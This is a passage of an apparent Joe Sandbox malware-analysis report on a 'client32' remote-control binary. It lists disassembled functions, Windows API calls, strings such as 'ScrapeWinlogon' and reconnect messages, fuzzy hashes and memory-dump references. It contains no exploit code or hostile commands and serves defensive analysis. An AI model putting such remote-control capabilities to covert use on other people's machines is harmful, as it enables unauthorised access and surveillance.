Opcode Fuzzy Hash: b0d4951e3e1e982a5900b13c958f5742c237ff4dd3663e560167556411a43178
Instruction Fuzzy Hash: F6F090B5A00B155FE3709F55DC04B86F7E8AF14708F008529E5AA97A40E7B1B514CFD1

Function 110430C0 Relevance: 7.8, APIs: 5, Instructions: 258COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 110432A5
SysFreeString.OLEAUT32(?), ref: 11043345
SysFreeString.OLEAUT32(?), ref: 11043354
_memset.LIBCMT ref: 110433BF
SysFreeString.OLEAUT32(?), ref: 1104341A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeString$__wcsicoll_memset
String ID:
API String ID: 3719176846-0
Opcode ID: b59fc4aa0084b8af2c0cb7ab9d91f53fdc2d914e01a4c7aac3460fa52ae7c500
Instruction ID: a4194a8621443a07a5b91cd7e8cbaf5f1c01176b50590b941be4798e65b70277
Opcode Fuzzy Hash: b59fc4aa0084b8af2c0cb7ab9d91f53fdc2d914e01a4c7aac3460fa52ae7c500
Instruction Fuzzy Hash: A2A1F775E046299FCB61CF59CC84ADAB7B9AF89305F2085D9E50CAB310DB31AE85CF50

Function 11107040 Relevance: 7.7, APIs: 5, Instructions: 171COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 1110708D
DestroyCaret.USER32 ref: 11107102
CreateCaret.USER32(?,00000000,?,?), ref: 111071C2
SetCaretPos.USER32(?,?), ref: 1110722D
ShowCaret.USER32(?), ref: 1110723D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Caret$ClientCreateDestroyRectShow
String ID:
API String ID: 3292185885-0
Opcode ID: eec5a9e55dd84aaa02b758eb0de184b29d26ab499fca542160f29245d0eece66
Instruction ID: 7f8c4dcae8a1f5dcc1e133171a0418012556dc92a04c507beb10c8b842d59a54
Opcode Fuzzy Hash: eec5a9e55dd84aaa02b758eb0de184b29d26ab499fca542160f29245d0eece66
Instruction Fuzzy Hash: DF519171E00B058BC715CE78C9C57AAF7FAEB88314F25952DE5AAC7280D634F945CB50

Function 110933C0 Relevance: 7.6, APIs: 5, Instructions: 131COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11093412
SHGetMalloc.SHELL32(?), ref: 11093421
SHGetFileInfoA.SHELL32(?,00000000,?,00000160,00000C00,00000000,?,?,?), ref: 110934A9
CoTaskMemFree.OLE32(?), ref: 11093514
CoTaskMemFree.OLE32(?), ref: 11093529

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeTask$FileInfoMalloc_memset
String ID:
API String ID: 2885524667-0
Opcode ID: 89345285ef7d7bab315390cfc6260b6fce797b71e935e12d37aa82ac9be1b202
Instruction ID: 28a74fc2d3e6b814f31ef4bd2b52e05c0b9688f5ab77d3eb3e4ee6575e525884
Opcode Fuzzy Hash: 89345285ef7d7bab315390cfc6260b6fce797b71e935e12d37aa82ac9be1b202
Instruction Fuzzy Hash: 64414B76A082189FDB11CF64CC94BEFB7B9AF49304F5041D9E44D9B240DA71AE85DF90

Function 11151524 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 11151532

Part of subcall function 111515D1: __FF_MSGBANNER.LIBCMT ref: 111515EA
Part of subcall function 111515D1: __NMSG_WRITE.LIBCMT ref: 111515F1
Part of subcall function 111515D1: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 11151616

_free.LIBCMT ref: 11151545

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: b87245d6c8a11ff54dd947b9a3f53e119b3ac4d58a83e5b28fb18c8775291f84
Instruction ID: 35b369d0f5c4220ee84277d88253d6fdcb9dc3b21ba59b57d6bf339a69f5eb09
Opcode Fuzzy Hash: b87245d6c8a11ff54dd947b9a3f53e119b3ac4d58a83e5b28fb18c8775291f84
Instruction Fuzzy Hash: 8B110A37410623ABCBD32F74980465EFB9AAF472BCF594525F83AC7180DF3499418791

Function 110AB090 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000028,?,?,?,11043F5C,?,00000001), ref: 110AB09B
LeaveCriticalSection.KERNEL32(00000028,?,?,?,11043F5C,?,00000001), ref: 110AB0BE
SetEvent.KERNEL32(?,?,?,?,11043F5C,?,00000001), ref: 110AB0DA
LeaveCriticalSection.KERNEL32(00000028,?,?,?,11043F5C,?,00000001), ref: 110AB0E1
LeaveCriticalSection.KERNEL32(00000028,?,?,?,11043F5C,?,00000001), ref: 110AB0F7

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: 8c47059aaa007ad8633e5d8c3be54e8c278fd32cc50d61e0effaef4322f575e5
Instruction ID: e0d87326b4d86e53b28e3cee19c451b2299f4d0e942967006842b7f646d6e484
Opcode Fuzzy Hash: 8c47059aaa007ad8633e5d8c3be54e8c278fd32cc50d61e0effaef4322f575e5
Instruction Fuzzy Hash: 020167335006549FD321A6A9E484BDBFBE8FB6B365F04852AF09BC6500D7B5A045C7A1

Function 110B5150 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 306COMMON

Download Yara Rule

APIs

Part of subcall function 110C5870: _free.LIBCMT ref: 110C589D

std::_Xinvalid_argument.LIBCPMT ref: 110B5479

Strings

IsA(), xrefs: 110B53A3
vector<T> too long, xrefs: 110B5474
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 110B539E

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_freestd::_
String ID: IsA()$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$vector<T> too long
API String ID: 3009493112-1764033307
Opcode ID: 1467557cae63413adfea8cf217ea5322af11f329c2c3a2257ad9f516cd4137f2
Instruction ID: d3742dddefd9539a2c6faf75fa5aff6455038083edce66c72e6810edab36b23a
Opcode Fuzzy Hash: 1467557cae63413adfea8cf217ea5322af11f329c2c3a2257ad9f516cd4137f2
Instruction Fuzzy Hash: 39B1D979E0121A9BDF04CFA4CC80AEEB7B5EF88718F144669F915A7380DB71AD44CB94

Function 11049430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 110494A9
_strncpy.LIBCMT ref: 110494B5
_strncpy.LIBCMT ref: 110494F9

Strings

Client., xrefs: 110494BD

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: Client.
API String ID: 2961919466-3668916897
Opcode ID: c1fb8859e18d76fc1079392e84fc703e70aac477c314df1099eb761ae4e062e0
Instruction ID: 572398fb48615d3f05e5c1c88e4c2dd5f7b798ba22a18aad523c76445d718ab6
Opcode Fuzzy Hash: c1fb8859e18d76fc1079392e84fc703e70aac477c314df1099eb761ae4e062e0
Instruction Fuzzy Hash: E24196B5D002499FDB50CF78C8C5BEABBF4AF49314F1441A9E918E7241EB35AA04CBA0

Function 110552B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110552D6
GetTickCount.KERNEL32 ref: 11055366
GetTickCount.KERNEL32 ref: 1105537A

Strings

Stop reconn to %s, xrefs: 11055389

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: Stop reconn to %s
API String ID: 536389180-2663412807
Opcode ID: 2abe557c952c5f7dcea216b9f0889483e10976acc780b42d0fe4d7d09327c2c3
Instruction ID: af3c01e96c1c7020b4005c014dfc046fba5e2fca3df96dde9e75da5347296435
Opcode Fuzzy Hash: 2abe557c952c5f7dcea216b9f0889483e10976acc780b42d0fe4d7d09327c2c3
Instruction Fuzzy Hash: 3B31A475E006059FD7A0CF78C880A9AB7F5AF89314F1086ADE85EC7285DB71E944CB50

Function 11037210 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11037232

Part of subcall function 11151A96: __getptd.LIBCMT ref: 11151AB4

_strtok.LIBCMT ref: 110372B3

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

; >, xrefs: 11037229, 110372AC
CLTCONN.CPP, xrefs: 11037267

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$ErrorExitLastMessageProcess__getptdwsprintf
String ID: ; >$CLTCONN.CPP
API String ID: 3120919156-788487980
Opcode ID: 9165b0a18a4c59912c5dbe4835972a59b9c6cb766eae6eb5ab81999165ff3938
Instruction ID: ccfc037b8357edf1224686589f5a8c743ae1842636507a1361757ab53c929d04
Opcode Fuzzy Hash: 9165b0a18a4c59912c5dbe4835972a59b9c6cb766eae6eb5ab81999165ff3938
Instruction Fuzzy Hash: A621E76AE006477FDB02DEA99C40B9EB7D59F84215F0840A5FD489B341FA74AD0083E1

Function 11047220 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1104726D
GetTickCount.KERNEL32 ref: 1104728F

Part of subcall function 1103AE60: CloseHandle.KERNEL32(00000000,110AE050,00000001,00000000,?), ref: 1103AF02

Strings

ScrapeWinlogon(true), xrefs: 1104724A
ScrapeWinlogon(false), xrefs: 110472B4

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CloseHandle
String ID: ScrapeWinlogon(false)$ScrapeWinlogon(true)
API String ID: 3288320179-4162823169
Opcode ID: 39545d518d5d5b217dad4cfacbfe5bf09837e8122a8fbefba39c119687804820
Instruction ID: dad7b6f7502343be31355568bd77ad9becd5e116beabebea3ed844355e2a9eb8
Opcode Fuzzy Hash: 39545d518d5d5b217dad4cfacbfe5bf09837e8122a8fbefba39c119687804820
Instruction Fuzzy Hash: 7D213831F50B006BF612D73598867AAB7C5AF8071EF248439EE5B4A6C0CBA67480CB56

Function 1105F620 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 1105F660
_strtok.LIBCMT ref: 1105F690
_strtok.LIBCMT ref: 1105F6A8

Strings

,= , xrefs: 1105F65A, 1105F689, 1105F6A1

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok
String ID: ,=
API String ID: 1675499619-2677018336
Opcode ID: e4a83eb6bd879dd6f1f64293f5293dbff424d9e211f02fcaf1d7e2e2374799ee
Instruction ID: 7a9fbb2f34e7303a29542f3709b992e29d429b122d26399c990661d45cd0e722
Opcode Fuzzy Hash: e4a83eb6bd879dd6f1f64293f5293dbff424d9e211f02fcaf1d7e2e2374799ee
Instruction Fuzzy Hash: BF110636B002562FE7C2DD788C10BC77BD59F09245F008098E948AB250E635E840C6B2

Function 1103D5C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1103D550: IsWindow.USER32(00000000), ref: 1103D566
Part of subcall function 1103D550: FindWindowA.USER32(PCIVideoSlave32,00000000), ref: 1103D57C
Part of subcall function 1103D550: IsWindow.USER32(00000000), ref: 1103D584
Part of subcall function 1103D550: Sleep.KERNEL32(00000014), ref: 1103D597
Part of subcall function 1103D550: FindWindowA.USER32(PCIVideoSlave32,00000000), ref: 1103D5A7
Part of subcall function 1103D550: IsWindow.USER32(00000000), ref: 1103D5AF

IsWindow.USER32(00000000), ref: 1103D5EA
SendMessageA.USER32(00000000,0000004A,00000000,00000501), ref: 1103D5FD

Strings

DoMMData - could not find %s window, xrefs: 1103D60D
PCIVideoSlave32, xrefs: 1103D608

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Find$MessageSendSleep
String ID: DoMMData - could not find %s window$PCIVideoSlave32
API String ID: 1010850397-3146847729
Opcode ID: a02f1deb2413835855b986d31fe149332604edbd6b3a1203050ee6bfcc5d2bdb
Instruction ID: 40260b62f694b88d247e0099ba96be85712fa175176470c9008f94ddf9255897
Opcode Fuzzy Hash: a02f1deb2413835855b986d31fe149332604edbd6b3a1203050ee6bfcc5d2bdb
Instruction Fuzzy Hash: BCF02773E512187BE700EF68BC06BDEBBA89B0130AF408194ED09A62C0F6B115114BD6

Function 11087400 Relevance: 6.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

APIs

Part of subcall function 11068B70: EnterCriticalSection.KERNEL32(?,82E0FB89,?,75A37CB0,75A37AA0), ref: 11068BD5
Part of subcall function 11068B70: SetEvent.KERNEL32(?,?,00000000,11066D20,?,?), ref: 11068CB2

CloseHandle.KERNEL32(00000000,00000001,000000C2,?,00000001,000000C1,?,00000001,000000C0,?,00000001,00000093,?,00000001,00000091,?), ref: 1108758A
_free.LIBCMT ref: 110875AB
CloseHandle.KERNEL32(?), ref: 110875E6
FreeLibrary.KERNEL32(?), ref: 11087606

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
